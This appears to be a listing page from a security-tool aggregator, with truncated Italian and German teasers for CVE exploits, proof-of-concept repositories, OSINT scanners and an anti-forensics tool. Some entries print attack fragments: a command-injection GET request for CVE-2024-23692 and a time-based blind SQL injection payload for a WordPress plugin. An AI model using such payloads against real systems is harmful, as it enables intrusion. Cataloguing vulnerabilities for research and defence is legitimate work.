ENLBufferPwn

ENLBufferPwn CVE-2022-47949 CVE:| CVE-2022-47949 ---|--- CVSS v3.1:| 9.8/10 Kritisch Autoren:| PabloMK7, Rambo6Glaz, Fishguy6564 Gemeldet:| 8. August 2021 Mario Kart 7 14. April 2022 für die betroffenen WiiU- und Switch-Spiele Offengelegt:| 22. Dezember 2022 Inhaltsverzeichnis Beschreibung...

CVE-2024-23692

CVE-2024-23692 BURP POC root@kitploit: GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...

NotSecDrv

NotSecDrv - Un codice PoC per CVE-2018-7249 Descrizione Generale Un problema è stato scoperto in secdrv.sys come fornito in Microsoft Windows Vista, Windows 7, Windows 8 e Windows 8.1 prima di KB3086255, e come fornito in Macrovision SafeDisc. Due chiamate opportunamente temporizzate a IOCTL...

S2-057-CVE-2018-11776

S2-057-CVE-2018-11776 Un semplice exploit per Apache Struts RCE S2-057 CVE-2018-11776 IMPORTANTE: È fornito solo per scopi educativi o informativi. Distribuisci l'ambiente di test root@kitploit: git clone https://github.com/vulhub/vulhub cd vulhub/struts2/s2-057 docker-compose up -d Utilizzo...

AoratosWin

AoratosWin AoratosWin è uno strumento che rimuove le tracce delle applicazioni eseguite su sistemi operativi Windows, che possono essere facilmente elencate con strumenti come ExecutedProgramList di Nirsoft. Sentiti libero di decompilare, fare reverse engineering, ridistribuire, ecc. Sistemi...

wosind

Readme per "wosind.py" Questo software è concesso in licenza GPLGNU GPLv3. Questo strumento combina molte possibilità di Open Source Intelligence. Lo strumento utilizza comandi shell locali, come ping, host ... e risorse esterne come nmap o servizi web esterni. 1. Prerequisiti di sistema MacOS o...

CVE-2026-4480

🚨 CVE-2026-4480 - Esecuzione Remota di Codice Critica nel Sottosistema di Stampa di Samba Esecuzione Remota di Codice RCE Vulnerabilità di Iniezione di Comandi di Stampa in Samba "Un singolo nome di job di stampa non dovrebbe mai diventare un comando shell." 📖 Panoramica CVE-2026-4480 è una...

CVE-2024-6387-analysis

CVE-2024-6387 Analisi della vulnerabilità di race condition del segnale in OpenSSH Panoramica della vulnerabilità CVE-2024-6387 è una vulnerabilità di race condition nella gestione dei segnali presente nelle versioni di OpenSSH dalla 8.5p1 alla 9.7p1, nota come "regreSSHion". Un attaccante può...

CVE-2024-36971

CVE-2024-36971 — Proof of Concept Solo Ricerca e Analisi ⚠️ DICHIARAZIONE DI NON RESPONSABILITÀ — LEGGERE PRIMA DI UTILIZZARE QUESTO REPOSITORY Questo repository è destinato esclusivamente a ricerca difensiva, analisi e segnalazione responsabile. Contiene un file proof of concept non sfruttabile...

webstor

WebStor Schnelle Identifizierung verwundbarer Webtechnologien in Ihrer Organisation WebStor ist ein unter der MIT-Lizenz in Python implementiertes Werkzeug, das darauf abzielt, schnell alle Websites in allen Netzwerken Ihrer Organisation zu erfassen, ihre Antworten zu speichern und nach bekannten...

CVE-2021-27404

Iniezione dell'Intestazione Host Autenticata - Modem Fiber Internet Askey Fornitore: Askey Versione software: BRSVg11.11RTFTEF001V6.54V014 Modello: RTF8115VW Intestazione vulnerabile: Host Non testato su altri modelli/versioni. Impatto: Un attaccante potrebbe sfruttare questa vulnerabilità per...

CVE-2021-3156

CVE-2021-3156 toc Riepilogo della vulnerabilità ID vulnerabilità: CVE-2021-3156 Punteggio vulnerabilità: Prodotto vulnerabile: linux sudo Versione interessata: 1.8.2-1.8.31sp12; 1.9.0-1.9.5sp1 Condizioni di sfruttamento: linux locale; sudo è suid e può essere eseguito Effetto dello sfruttamento:...

CVE-2021-33766

POC Exploit CVE-2021-33766 ProxyToken POC Exploit per CVE-2021-33766 ProxyToken è un pratico script shell che fornisce a penetration tester e ricercatori di sicurezza un modo rapido ed efficace per testare la vulnerabilità Microsoft Exchange ProxyToken. Disclaimer Questo programma è SOLO a scopo...

CVE-2023-26818

Haftungsausschluss Dieser Exploit wurde ausschließlich zu Forschungszwecken und zur Entwicklung effektiver Abwehrtechniken erstellt. Er ist nicht für böswillige oder unbefugte Aktivitäten vorgesehen. Der Autor und der Eigentümer des Skripts lehnen jegliche Verantwortung oder Haftung für Missbrauc...

z9

z9 Analizzatore di Log di PowerShell Japanese Riassunto Questo strumento rileva gli artefatti del malware basato su PowerShell dal log eventi della registrazione di PowerShell. Demo Online Installazione root@kitploit: git clone https://github.com/Sh1n0g1/z9 cd z9 pip install -r requirements.txt...

CVE-2025-48593

CVE-2025-48593: Esecuzione di codice remoto zero-click nel sistema Android Autore: LAKSHMIKANTHAN K letchupkt Data: novembre 2025 Gravità: Critica Una vulnerabilità critica di esecuzione di codice remoto zero-click che colpisce i dispositivi Android 13-16. Panoramica della vulnerabilità Attributo...

CVE-2024-9796

CVE-2024-9796 WordPress WP-Advanced-Search = 5.0.12 time-based blind IF - comment Payload: t=wpautosuggest&f=ifnow=sysdate,SLEEP9,0-- wXyW&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=13672261755853'...

CVE-2022-26134

CVE-2022-26134 - OGNL-Injection-Schwachstelle. In betroffenen Versionen von Confluence Server und Data Center existiert eine OGNL-Injection-Schwachstelle, die es einem nicht authentifizierten Angreifer ermöglichen würde, beliebigen Code auf einer Confluence Server- oder Data Center-Instanz...

HOCig1_2

HOCig12 HOC IG - Strumento Automatico di HOC Raccolta Informazioni Non devi aggiungerlo alla libreria, si rileva e avvia automaticamente. Ecco a te.. HOCig è il nostro primo strumento su GitHub. Qui troverai 1. Informazioni sull'Header 2. Informazioni sul Certificato SSL 3. Whois Lookup 4. Sito W...

CVE-2024-3656

Keycloak 24.0.5 è vulnerabile alla vulnerabilità di Broken Access Control, dove un attaccante può utilizzare qualsiasi utente autenticato per eseguire alcune azioni API come: Test delle connessioni LDAP tramite l'endpoint testLDAPConnection. Recupero degli attributi non gestiti di qualsiasi utent...